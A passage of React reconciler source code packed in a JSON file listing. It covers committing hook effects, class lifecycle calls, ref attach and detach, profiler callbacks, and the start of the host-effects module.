destroy.then === 'function') {\n                addendum =\n                  '\\n\\nIt looks like you wrote ' +\n                  hookName +\n                  '(async () => ...) or returned a Promise. ' +\n                  'Instead, write the async function inside your effect ' +\n                  'and call it immediately:\\n\\n' +\n                  hookName +\n                  '(() => {\\n' +\n                  '  async function fetchData() {\\n' +\n                  '    // You can await here\\n' +\n                  '    const response = await MyAPI.getData(someId);\\n' +\n                  '    // ...\\n' +\n                  '  }\\n' +\n                  '  fetchData();\\n' +\n                  `}, [someId]); // Or [] if effect doesn't need props or state\\n\\n` +\n                  'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching';\n              } else {\n                // $FlowFixMe[unsafe-addition] (@poteto)\n                addendum = ' You returned: ' + destroy;\n              }\n              runWithFiberInDEV(\n                finishedWork,\n                (n, a) => {\n                  console.error(\n                    '%s must not return anything besides a function, ' +\n                      'which is used for clean-up.%s',\n                    n,\n                    a,\n                  );\n                },\n                hookName,\n                addendum,\n              );\n            }\n          }\n        }\n        effect = effect.next;\n      } while (effect !== firstEffect);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHookEffectListUnmount(\n  flags: HookFlags,\n  finishedWork: Fiber,\n  nearestMountedAncestor: Fiber | null,\n) {\n  try {\n    const updateQueue: FunctionComponentUpdateQueue | null =\n      (finishedWork.updateQueue: any);\n    const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;\n    if (lastEffect !== null) {\n      const firstEffect = lastEffect.next;\n      let effect = firstEffect;\n      do {\n        if ((effect.tag & flags) === flags) {\n          // Unmount\n          const inst = effect.inst;\n          const destroy = inst.destroy;\n          if (destroy !== undefined) {\n            inst.destroy = undefined;\n            if (enableSchedulingProfiler) {\n              if ((flags & HookPassive) !== NoHookEffect) {\n                markComponentPassiveEffectUnmountStarted(finishedWork);\n              } else if ((flags & HookLayout) !== NoHookEffect) {\n                markComponentLayoutEffectUnmountStarted(finishedWork);\n              }\n            }\n\n            if (__DEV__) {\n              if ((flags & HookInsertion) !== NoHookEffect) {\n                setIsRunningInsertionEffect(true);\n              }\n            }\n            safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);\n            if (__DEV__) {\n              if ((flags & HookInsertion) !== NoHookEffect) {\n                setIsRunningInsertionEffect(false);\n              }\n            }\n\n            if (enableSchedulingProfiler) {\n              if ((flags & HookPassive) !== NoHookEffect) {\n                markComponentPassiveEffectUnmountStopped();\n              } else if ((flags & HookLayout) !== NoHookEffect) {\n                markComponentLayoutEffectUnmountStopped();\n              }\n            }\n          }\n        }\n        effect = effect.next;\n      } while (effect !== firstEffect);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHookPassiveMountEffects(\n  finishedWork: Fiber,\n  hookFlags: HookFlags,\n) {\n  if (shouldProfile(finishedWork)) {\n    startEffectTimer();\n    commitHookEffectListMount(hookFlags, finishedWork);\n    recordEffectDuration(finishedWork);\n  } else {\n    commitHookEffectListMount(hookFlags, finishedWork);\n  }\n}\n\nexport function commitHookPassiveUnmountEffects(\n  finishedWork: Fiber,\n  nearestMountedAncestor: null | Fiber,\n  hookFlags: HookFlags,\n) {\n  if (shouldProfile(finishedWork)) {\n    startEffectTimer();\n    commitHookEffectListUnmount(\n      hookFlags,\n      finishedWork,\n      nearestMountedAncestor,\n    );\n    recordEffectDuration(finishedWork);\n  } else {\n    commitHookEffectListUnmount(\n      hookFlags,\n      finishedWork,\n      nearestMountedAncestor,\n    );\n  }\n}\n\nexport function commitClassLayoutLifecycles(\n  finishedWork: Fiber,\n  current: Fiber | null,\n) {\n  const instance = finishedWork.stateNode;\n  if (current === null) {\n    // We could update instance props and state here,\n    // but instead we rely on them being set during last render.\n    // TODO: revisit this when we implement resuming.\n    if (__DEV__) {\n      if (\n        !finishedWork.type.defaultProps &&\n        !('ref' in finishedWork.memoizedProps) &&\n        !didWarnAboutReassigningProps\n      ) {\n        if (instance.props !== finishedWork.memoizedProps) {\n          console.error(\n            'Expected %s props to match memoized props before ' +\n              'componentDidMount. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.props`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n        if (instance.state !== finishedWork.memoizedState) {\n          console.error(\n            'Expected %s state to match memoized state before ' +\n              'componentDidMount. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.state`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n      }\n    }\n    if (shouldProfile(finishedWork)) {\n      startEffectTimer();\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          callComponentDidMountInDEV,\n          finishedWork,\n          instance,\n        );\n      } else {\n        try {\n          instance.componentDidMount();\n        } catch (error) {\n          captureCommitPhaseError(finishedWork, finishedWork.return, error);\n        }\n      }\n      recordEffectDuration(finishedWork);\n    } else {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          callComponentDidMountInDEV,\n          finishedWork,\n          instance,\n        );\n      } else {\n        try {\n          instance.componentDidMount();\n        } catch (error) {\n          captureCommitPhaseError(finishedWork, finishedWork.return, error);\n        }\n      }\n    }\n  } else {\n    const prevProps = resolveClassComponentProps(\n      finishedWork.type,\n      current.memoizedProps,\n    );\n    const prevState = current.memoizedState;\n    // We could update instance props and state here,\n    // but instead we rely on them being set during last render.\n    // TODO: revisit this when we implement resuming.\n    if (__DEV__) {\n      if (\n        !finishedWork.type.defaultProps &&\n        !('ref' in finishedWork.memoizedProps) &&\n        !didWarnAboutReassigningProps\n      ) {\n        if (instance.props !== finishedWork.memoizedProps) {\n          console.error(\n            'Expected %s props to match memoized props before ' +\n              'componentDidUpdate. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.props`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n        if (instance.state !== finishedWork.memoizedState) {\n          console.error(\n            'Expected %s state to match memoized state before ' +\n              'componentDidUpdate. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.state`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n      }\n    }\n    if (shouldProfile(finishedWork)) {\n      startEffectTimer();\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          callComponentDidUpdateInDEV,\n          finishedWork,\n          instance,\n          prevProps,\n          prevState,\n          instance.__reactInternalSnapshotBeforeUpdate,\n        );\n      } else {\n        try {\n          instance.componentDidUpdate(\n            prevProps,\n            prevState,\n            instance.__reactInternalSnapshotBeforeUpdate,\n          );\n        } catch (error) {\n          captureCommitPhaseError(finishedWork, finishedWork.return, error);\n        }\n      }\n      recordEffectDuration(finishedWork);\n    } else {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          callComponentDidUpdateInDEV,\n          finishedWork,\n          instance,\n          prevProps,\n          prevState,\n          instance.__reactInternalSnapshotBeforeUpdate,\n        );\n      } else {\n        try {\n          instance.componentDidUpdate(\n            prevProps,\n            prevState,\n            instance.__reactInternalSnapshotBeforeUpdate,\n          );\n        } catch (error) {\n          captureCommitPhaseError(finishedWork, finishedWork.return, error);\n        }\n      }\n    }\n  }\n}\n\nexport function commitClassDidMount(finishedWork: Fiber) {\n  // TODO: Check for LayoutStatic flag\n  const instance = finishedWork.stateNode;\n  if (typeof instance.componentDidMount === 'function') {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        callComponentDidMountInDEV,\n        finishedWork,\n        instance,\n      );\n    } else {\n      try {\n        instance.componentDidMount();\n      } catch (error) {\n        captureCommitPhaseError(finishedWork, finishedWork.return, error);\n      }\n    }\n  }\n}\n\nexport function commitClassCallbacks(finishedWork: Fiber) {\n  // TODO: I think this is now always non-null by the time it reaches the\n  // commit phase. Consider removing the type check.\n  const updateQueue: UpdateQueue<mixed> | null =\n    (finishedWork.updateQueue: any);\n  if (updateQueue !== null) {\n    const instance = finishedWork.stateNode;\n    if (__DEV__) {\n      if (\n        !finishedWork.type.defaultProps &&\n        !('ref' in finishedWork.memoizedProps) &&\n        !didWarnAboutReassigningProps\n      ) {\n        if (instance.props !== finishedWork.memoizedProps) {\n          console.error(\n            'Expected %s props to match memoized props before ' +\n              'processing the update queue. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.props`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n        if (instance.state !== finishedWork.memoizedState) {\n          console.error(\n            'Expected %s state to match memoized state before ' +\n              'processing the update queue. ' +\n              'This might either be because of a bug in React, or because ' +\n              'a component reassigns its own `this.state`. ' +\n              'Please file an issue.',\n            getComponentNameFromFiber(finishedWork) || 'instance',\n          );\n        }\n      }\n    }\n    // We could update instance props and state here,\n    // but instead we rely on them being set during last render.\n    // TODO: revisit this when we implement resuming.\n    try {\n      if (__DEV__) {\n        runWithFiberInDEV(finishedWork, commitCallbacks, updateQueue, instance);\n      } else {\n        commitCallbacks(updateQueue, instance);\n      }\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  }\n}\n\nexport function commitClassHiddenCallbacks(finishedWork: Fiber) {\n  // Commit any callbacks that would have fired while the component\n  // was hidden.\n  const updateQueue: UpdateQueue<mixed> | null =\n    (finishedWork.updateQueue: any);\n  if (updateQueue !== null) {\n    const instance = finishedWork.stateNode;\n    try {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          commitHiddenCallbacks,\n          updateQueue,\n          instance,\n        );\n      } else {\n        commitHiddenCallbacks(updateQueue, instance);\n      }\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  }\n}\n\nexport function commitRootCallbacks(finishedWork: Fiber) {\n  // TODO: I think this is now always non-null by the time it reaches the\n  // commit phase. Consider removing the type check.\n  const updateQueue: UpdateQueue<mixed> | null =\n    (finishedWork.updateQueue: any);\n  if (updateQueue !== null) {\n    let instance = null;\n    if (finishedWork.child !== null) {\n      switch (finishedWork.child.tag) {\n        case HostSingleton:\n        case HostComponent:\n          instance = getPublicInstance(finishedWork.child.stateNode);\n          break;\n        case ClassComponent:\n          instance = finishedWork.child.stateNode;\n          break;\n      }\n    }\n    try {\n      if (__DEV__) {\n        runWithFiberInDEV(finishedWork, commitCallbacks, updateQueue, instance);\n      } else {\n        commitCallbacks(updateQueue, instance);\n      }\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  }\n}\n\nlet didWarnAboutUndefinedSnapshotBeforeUpdate: Set<mixed> | null = null;\nif (__DEV__) {\n  didWarnAboutUndefinedSnapshotBeforeUpdate = new Set();\n}\n\nfunction callGetSnapshotBeforeUpdates(\n  instance: any,\n  prevProps: any,\n  prevState: any,\n) {\n  return instance.getSnapshotBeforeUpdate(prevProps, prevState);\n}\n\nexport function commitClassSnapshot(finishedWork: Fiber, current: Fiber) {\n  const prevProps = current.memoizedProps;\n  const prevState = current.memoizedState;\n  const instance = finishedWork.stateNode;\n  // We could update instance props and state here,\n  // but instead we rely on them being set during last render.\n  // TODO: revisit this when we implement resuming.\n  if (__DEV__) {\n    if (\n      !finishedWork.type.defaultProps &&\n      !('ref' in finishedWork.memoizedProps) &&\n      !didWarnAboutReassigningProps\n    ) {\n      if (instance.props !== finishedWork.memoizedProps) {\n        console.error(\n          'Expected %s props to match memoized props before ' +\n            'getSnapshotBeforeUpdate. ' +\n            'This might either be because of a bug in React, or because ' +\n            'a component reassigns its own `this.props`. ' +\n            'Please file an issue.',\n          getComponentNameFromFiber(finishedWork) || 'instance',\n        );\n      }\n      if (instance.state !== finishedWork.memoizedState) {\n        console.error(\n          'Expected %s state to match memoized state before ' +\n            'getSnapshotBeforeUpdate. ' +\n            'This might either be because of a bug in React, or because ' +\n            'a component reassigns its own `this.state`. ' +\n            'Please file an issue.',\n          getComponentNameFromFiber(finishedWork) || 'instance',\n        );\n      }\n    }\n  }\n  try {\n    const resolvedPrevProps = resolveClassComponentProps(\n      finishedWork.type,\n      prevProps,\n    );\n    let snapshot;\n    if (__DEV__) {\n      snapshot = runWithFiberInDEV(\n        finishedWork,\n        callGetSnapshotBeforeUpdates,\n        instance,\n        resolvedPrevProps,\n        prevState,\n      );\n      const didWarnSet =\n        ((didWarnAboutUndefinedSnapshotBeforeUpdate: any): Set<mixed>);\n      if (snapshot === undefined && !didWarnSet.has(finishedWork.type)) {\n        didWarnSet.add(finishedWork.type);\n        runWithFiberInDEV(finishedWork, () => {\n          console.error(\n            '%s.getSnapshotBeforeUpdate(): A snapshot value (or null) ' +\n              'must be returned. You have returned undefined.',\n            getComponentNameFromFiber(finishedWork),\n          );\n        });\n      }\n    } else {\n      snapshot = callGetSnapshotBeforeUpdates(\n        instance,\n        resolvedPrevProps,\n        prevState,\n      );\n    }\n    instance.__reactInternalSnapshotBeforeUpdate = snapshot;\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\n// Capture errors so they don't interrupt unmounting.\nexport function safelyCallComponentWillUnmount(\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n  instance: any,\n) {\n  instance.props = resolveClassComponentProps(\n    current.type,\n    current.memoizedProps,\n  );\n  instance.state = current.memoizedState;\n  if (shouldProfile(current)) {\n    startEffectTimer();\n    if (__DEV__) {\n      runWithFiberInDEV(\n        current,\n        callComponentWillUnmountInDEV,\n        current,\n        nearestMountedAncestor,\n        instance,\n      );\n    } else {\n      try {\n        instance.componentWillUnmount();\n      } catch (error) {\n        captureCommitPhaseError(current, nearestMountedAncestor, error);\n      }\n    }\n    recordEffectDuration(current);\n  } else {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        current,\n        callComponentWillUnmountInDEV,\n        current,\n        nearestMountedAncestor,\n        instance,\n      );\n    } else {\n      try {\n        instance.componentWillUnmount();\n      } catch (error) {\n        captureCommitPhaseError(current, nearestMountedAncestor, error);\n      }\n    }\n  }\n}\n\nfunction commitAttachRef(finishedWork: Fiber) {\n  const ref = finishedWork.ref;\n  if (ref !== null) {\n    let instanceToUse;\n    switch (finishedWork.tag) {\n      case HostHoistable:\n      case HostSingleton:\n      case HostComponent:\n        instanceToUse = getPublicInstance(finishedWork.stateNode);\n        break;\n      case ViewTransitionComponent: {\n        if (enableViewTransition) {\n          const instance: ViewTransitionState = finishedWork.stateNode;\n          const props: ViewTransitionProps = finishedWork.memoizedProps;\n          const name = getViewTransitionName(props, instance);\n          if (instance.ref === null || instance.ref.name !== name) {\n            instance.ref = createViewTransitionInstance(name);\n          }\n          instanceToUse = instance.ref;\n          break;\n        }\n        instanceToUse = finishedWork.stateNode;\n        break;\n      }\n      case Fragment:\n        if (enableFragmentRefs) {\n          const instance: null | FragmentInstanceType = finishedWork.stateNode;\n          if (instance === null) {\n            finishedWork.stateNode = createFragmentInstance(finishedWork);\n          }\n          instanceToUse = finishedWork.stateNode;\n          break;\n        }\n      // Fallthrough\n      default:\n        instanceToUse = finishedWork.stateNode;\n    }\n    if (typeof ref === 'function') {\n      if (shouldProfile(finishedWork)) {\n        try {\n          startEffectTimer();\n          finishedWork.refCleanup = ref(instanceToUse);\n        } finally {\n          recordEffectDuration(finishedWork);\n        }\n      } else {\n        finishedWork.refCleanup = ref(instanceToUse);\n      }\n    } else {\n      if (__DEV__) {\n        // TODO: We should move these warnings to happen during the render\n        // phase (markRef).\n        if (typeof ref === 'string') {\n          console.error('String refs are no longer supported.');\n        } else if (!ref.hasOwnProperty('current')) {\n          console.error(\n            'Unexpected ref object provided for %s. ' +\n              'Use either a ref-setter function or React.createRef().',\n            getComponentNameFromFiber(finishedWork),\n          );\n        }\n      }\n\n      // $FlowFixMe[incompatible-use] unable to narrow type to the non-function case\n      ref.current = instanceToUse;\n    }\n  }\n}\n\n// Capture errors so they don't interrupt mounting.\nexport function safelyAttachRef(\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(current, commitAttachRef, current);\n    } else {\n      commitAttachRef(current);\n    }\n  } catch (error) {\n    captureCommitPhaseError(current, nearestMountedAncestor, error);\n  }\n}\n\nexport function safelyDetachRef(\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n) {\n  const ref = current.ref;\n  const refCleanup = current.refCleanup;\n\n  if (ref !== null) {\n    if (typeof refCleanup === 'function') {\n      try {\n        if (shouldProfile(current)) {\n          try {\n            startEffectTimer();\n            if (__DEV__) {\n              runWithFiberInDEV(current, refCleanup);\n            } else {\n              refCleanup();\n            }\n          } finally {\n            recordEffectDuration(current);\n          }\n        } else {\n          if (__DEV__) {\n            runWithFiberInDEV(current, refCleanup);\n          } else {\n            refCleanup();\n          }\n        }\n      } catch (error) {\n        captureCommitPhaseError(current, nearestMountedAncestor, error);\n      } finally {\n        // `refCleanup` has been called. Nullify all references to it to prevent double invocation.\n        current.refCleanup = null;\n        const finishedWork = current.alternate;\n        if (finishedWork != null) {\n          finishedWork.refCleanup = null;\n        }\n      }\n    } else if (typeof ref === 'function') {\n      try {\n        if (shouldProfile(current)) {\n          try {\n            startEffectTimer();\n            if (__DEV__) {\n              (runWithFiberInDEV(current, ref, null): void);\n            } else {\n              ref(null);\n            }\n          } finally {\n            recordEffectDuration(current);\n          }\n        } else {\n          if (__DEV__) {\n            (runWithFiberInDEV(current, ref, null): void);\n          } else {\n            ref(null);\n          }\n        }\n      } catch (error) {\n        captureCommitPhaseError(current, nearestMountedAncestor, error);\n      }\n    } else {\n      // $FlowFixMe[incompatible-use] unable to narrow type to RefObject\n      ref.current = null;\n    }\n  }\n}\n\nfunction safelyCallDestroy(\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n  destroy: (() => void) | (({...}) => void),\n  resource?: {...} | void | null,\n) {\n  // $FlowFixMe[extra-arg] @poteto this is safe either way because the extra arg is ignored if it's not a CRUD effect\n  const destroy_ = resource == null ? destroy : destroy.bind(null, resource);\n  if (__DEV__) {\n    runWithFiberInDEV(\n      current,\n      callDestroyInDEV,\n      current,\n      nearestMountedAncestor,\n      destroy_,\n    );\n  } else {\n    try {\n      // $FlowFixMe(incompatible-call) Already bound to resource\n      destroy_();\n    } catch (error) {\n      captureCommitPhaseError(current, nearestMountedAncestor, error);\n    }\n  }\n}\n\nfunction commitProfiler(\n  finishedWork: Fiber,\n  current: Fiber | null,\n  commitStartTime: number,\n  effectDuration: number,\n) {\n  const {id, onCommit, onRender} = (finishedWork.memoizedProps: ProfilerProps);\n\n  let phase: ProfilerPhase = current === null ? 'mount' : 'update';\n  if (enableProfilerNestedUpdatePhase) {\n    if (isCurrentUpdateNested()) {\n      phase = 'nested-update';\n    }\n  }\n\n  if (typeof onRender === 'function') {\n    onRender(\n      id,\n      phase,\n      // $FlowFixMe: This should be always a number in profiling mode\n      finishedWork.actualDuration,\n      // $FlowFixMe: This should be always a number in profiling mode\n      finishedWork.treeBaseDuration,\n      // $FlowFixMe: This should be always a number in profiling mode\n      finishedWork.actualStartTime,\n      commitStartTime,\n    );\n  }\n\n  if (enableProfilerCommitHooks) {\n    if (typeof onCommit === 'function') {\n      onCommit(id, phase, effectDuration, commitStartTime);\n    }\n  }\n}\n\nexport function commitProfilerUpdate(\n  finishedWork: Fiber,\n  current: Fiber | null,\n  commitStartTime: number,\n  effectDuration: number,\n) {\n  if (enableProfilerTimer) {\n    try {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          finishedWork,\n          commitProfiler,\n          finishedWork,\n          current,\n          commitStartTime,\n          effectDuration,\n        );\n      } else {\n        commitProfiler(finishedWork, current, commitStartTime, effectDuration);\n      }\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  }\n}\n\nfunction commitProfilerPostCommitImpl(\n  finishedWork: Fiber,\n  current: Fiber | null,\n  commitStartTime: number,\n  passiveEffectDuration: number,\n): void {\n  const {id, onPostCommit} = finishedWork.memoizedProps;\n\n  let phase = current === null ? 'mount' : 'update';\n  if (enableProfilerNestedUpdatePhase) {\n    if (isCurrentUpdateNested()) {\n      phase = 'nested-update';\n    }\n  }\n\n  if (typeof onPostCommit === 'function') {\n    onPostCommit(id, phase, passiveEffectDuration, commitStartTime);\n  }\n}\n\nexport function commitProfilerPostCommit(\n  finishedWork: Fiber,\n  current: Fiber | null,\n  commitStartTime: number,\n  passiveEffectDuration: number,\n) {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitProfilerPostCommitImpl,\n        finishedWork,\n        current,\n        commitStartTime,\n        passiveEffectDuration,\n      );\n    } else {\n      commitProfilerPostCommitImpl(\n        finishedWork,\n        current,\n        commitStartTime,\n        passiveEffectDuration,\n      );\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCommitHostEffects.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Instance,\n  TextInstance,\n  ActivityInstance,\n  SuspenseInstance,\n  Container,\n  ChildSet,\n  FragmentInstanceType,\n} from './ReactFiberConfig';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\n\nimport {\n  HostRoot,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostPortal,\n  DehydratedFragment,\n  Fragment,\n} from './ReactWorkTags';\nimport {ContentReset, Placement} from './ReactFiberFlags';\nimport {\n  supportsMutation,\n  supportsResources,\n  supportsSingletons,\n  commitMount,\n  commitUpdate,\n  resetTextContent,\n  commitTextUpdate,\n  appendChild,\n  appendChildToContainer,\n  insertBefore,\n  insertInContainerBefore,\n  replaceContainerChildren,\n  hideDehydratedBoundary,\n  hideInstance,\n  hideTextInstance,\n  unhideDehydratedBoundary,\n  unhideInstance,\n  unhideTextInstance,\n  commitHydratedInstance,\n  commitHydratedContainer,\n  commitHydratedActivityInstance,\n  commitHydratedSuspenseInstance,\n  removeChildFromContainer,\n  removeChild,\n  acquireSingletonInstance,\n  releaseSingletonInstance,\n  isSingletonScope,\n  commitNewChildToFragmentInstance,\n  deleteChildFromFragmentInstance,\n} from './ReactFiberConfig';\nimport {captureCommitPhaseError} from './ReactFiberWorkLoop';\nimport {trackHostMutation} from './ReactFiberMutationTracking';\n\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\nimport {\n  enableFragmentRefs,\n  enableFragmentRefsTextNodes,\n} from 'shared/ReactFeatureFlags';\n\nexport function commitHostMount(finishedWork: Fiber) {\n  const type = finishedWork.type;\n  const props = finishedWork.memoizedProps;\n  const instance: Instance = finishedWork.stateNode;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitMount,\n        instance,\n        type,\n        props,\n        finishedWork,\n      );\n    } else {\n      commitMount(instance, type, props, finishedWork);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostHydratedInstance(finishedWork: Fiber) {\n  const type = finishedWork.type;\n  const props = finishedWork.memoizedProps;\n  const instance: Instance = finishedWork.stateNode;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitHydratedInstance,\n        instance,\n        type,\n        props,\n        finishedWork,\n      );\n    } else {\n      commitHydratedInstance(instance, type, props, finishedWork);\n    }\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostUpdate(\n  finishedWork: Fiber,\n  newProps: any,\n  oldProps: any,\n): void {\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitUpdate,\n        finishedWork.stateNode,\n        finishedWork.type,\n        oldProps,\n        newProps,\n        finishedWork,\n      );\n    } else {\n      commitUpdate(\n        finishedWork.stateNode,\n        finishedWork.type,\n        oldProps,\n        newProps,\n        finishedWork,\n      );\n    }\n    // Mutations are tracked manually from within commitUpdate.\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostTextUpdate(\n  finishedWork: Fiber,\n  newText: string,\n  oldText: string,\n) {\n  const textInstance: TextInstance = finishedWork.stateNode;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(\n        finishedWork,\n        commitTextUpdate,\n        textInstance,\n        oldText,\n        newText,\n      );\n    } else {\n      commitTextUpdate(textInstance, oldText, newText);\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitHostResetTextContent(finishedWork: Fiber) {\n  const instance: Instance = finishedWork.stateNode;\n  try {\n    if (__DEV__) {\n      runWithFiberInDEV(finishedWork, resetTextContent, instance);\n    } else {\n      resetTextContent(instance);\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(finishedWork, finishedWork.return, error);\n  }\n}\n\nexport function commitShowHideSuspenseBoundary(node: Fiber, isHidden: boolean) {\n  try {\n    const instance = node.stateNode;\n    if (isHidden) {\n      if (__DEV__) {\n        runWithFiberInDEV(node, hideDehydratedBoundary, instance);\n      } else {\n        hideDehydratedBoundary(instance);\n      }\n    } else {\n      if (__DEV__) {\n        runWithFiberInDEV(node, unhideDehydratedBoundary, node.stateNode);\n      } else {\n        unhideDehydratedBoundary(node.stateNode);\n      }\n    }\n  } catch (error) {\n    captureCommitPhaseError(node, node.return, error);\n  }\n}\n\nexport function commitShowHideHostInstance(node: Fiber, isHidden: boolean) {\n  try {\n    const instance = node.stateNode;\n    if (isHidden) {\n      if (__DEV__) {\n        runWithFiberInDEV(node, hideInstance, instance);\n      } else {\n        hideInstance(instance);\n      }\n    } else {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          node,\n          unhideInstance,\n          node.stateNode,\n          node.memoizedProps,\n        );\n      } else {\n        unhideInstance(node.stateNode, node.memoizedProps);\n      }\n    }\n  } catch (error) {\n    captureCommitPhaseError(node, node.return, error);\n  }\n}\n\nexport function commitShowHideHostTextInstance(node: Fiber, isHidden: boolean) {\n  try {\n    const instance = node.stateNode;\n    if (isHidden) {\n      if (__DEV__) {\n        runWithFiberInDEV(node, hideTextInstance, instance);\n      } else {\n        hideTextInstance(instance);\n      }\n    } else {\n      if (__DEV__) {\n        runWithFiberInDEV(\n          node,\n          unhideTextInstance,\n          instance,\n          node.memoizedProps,\n        );\n      } else {\n        unhideTextInstance(instance, node.memoizedProps);\n      }\n    }\n    trackHostMutation();\n  } catch (error) {\n    captureCommitPhaseError(node, node.return, error);\n  }\n}\n\nexport function commitNewChildToFragmentInstances(\n  fiber: Fiber,\n  parentFragmentInstances: null | Array<FragmentInstanceType>,\n): void {\n  if (\n    (fiber.tag !== HostComponent &&\n      !(enableFragmentRefsTextNodes && fiber.tag === HostText)) ||\n    // Only run fragment insertion effects for initial insertions\n    fiber.alternate !== null ||\n    parentFragmentInstances === null\n  ) {\n    return;\n  }\n  for (let i = 0; i < parentFragmentInstances.length; i++) {\n    const fragmentInstance = parentFragmentInstances[i];\n    commitNewChildToFragmentInstance(fiber.stateNode, fragmentInstance);\n  }\n}\n\nexport function commitFragmentInstanceInsertionEffects(fiber: Fiber): void {\n  let parent = fiber.return;\n  while (parent !== null) {\n    if (isFragmentInstanceParent(parent)) {\n      const fragmentInstance: FragmentInstanceType = parent.stateNode;\n      commitNewChildToFragmentInstance(fiber.stateNode, fragmentInstance);\n    }\n\n    if (isHostParent(parent)) {\n      return;\n    }\n\n    parent = parent.return;\n  }\n}\n\nexport function commitFragmentInstanceDeletionEffects(fiber: Fiber): void {\n  let parent = fiber.return;\n  while (parent !== null) {\n    if (isFragmentInstanceParent(parent)) {\n      const fragmentInstance: FragmentInstanceType = parent.stateNode;\n      deleteChildFromFragmentInstance(fiber.stateNode, fragmentInstance);\n    }\n\n    if (isHostParent(parent)) {\n      return;\n    }\n\n    parent = parent.return;\n  }\n}\n\nfunction isHostParent(fiber: Fiber): boolean {\n  return (\n    fiber.tag === HostComponent ||\n    fiber.tag === HostRoot ||\n    (supportsResources ? fiber.tag === HostHoistable : false) ||\n    (supportsSingletons\n      ? fiber.tag === HostSingleton && isSingletonScope(fiber.type)\n      : false) ||\n    fiber.tag === HostPortal\n  );\n}\n\nfunction isFragmentInstanceParent(fiber: Fiber): boolean {\n  return fiber && fiber.tag === Fragment && fiber.stateNode !== null;\n}\n\nfunction getHostSibling(fiber: Fiber): ?Instance {\n  // We're going to search forward into the tree until we find a sibling host\n  // node. Unfortunately, if multiple insertions are done in a row we have to\n  // search past them. This leads to exponential search for the next sibling.\n  // TODO: Find a more efficient way to do this.\n  let node: Fiber = fiber;\n  siblings: while (true) {\n    // If we didn't find anything, let's try the next sibling.\n    while (node.sibling === null) {\n      if (node.return === null || isHostParent(node.return)) {\n        // If we pop out of the root or hit the parent the fiber we are the\n        // last sibling.\n        return null;\n      }\n      // $FlowFixMe[incompatible-type] found when upgrading Flow\n      node = node.return;\n    }\n    node.sibling.return = node.return;\n    node = node.sibling;\n    while (\n      node.tag !== HostComponent &&\n      node.tag !== HostText &&\n      node.tag !== DehydratedFragment\n    ) {\n      // If this is a host singleton we go deeper if it's not a special\n      // singleton scope. If it is a singleton scope we skip over it because\n      // you only insert against this scope when you are already inside of it\n      if (\n        supportsSingletons &&\n        node.tag === HostSingleton &&\n        isSingletonScope(node.type)\n      ) {\n        continue siblings;\n      }\n\n      // If it is 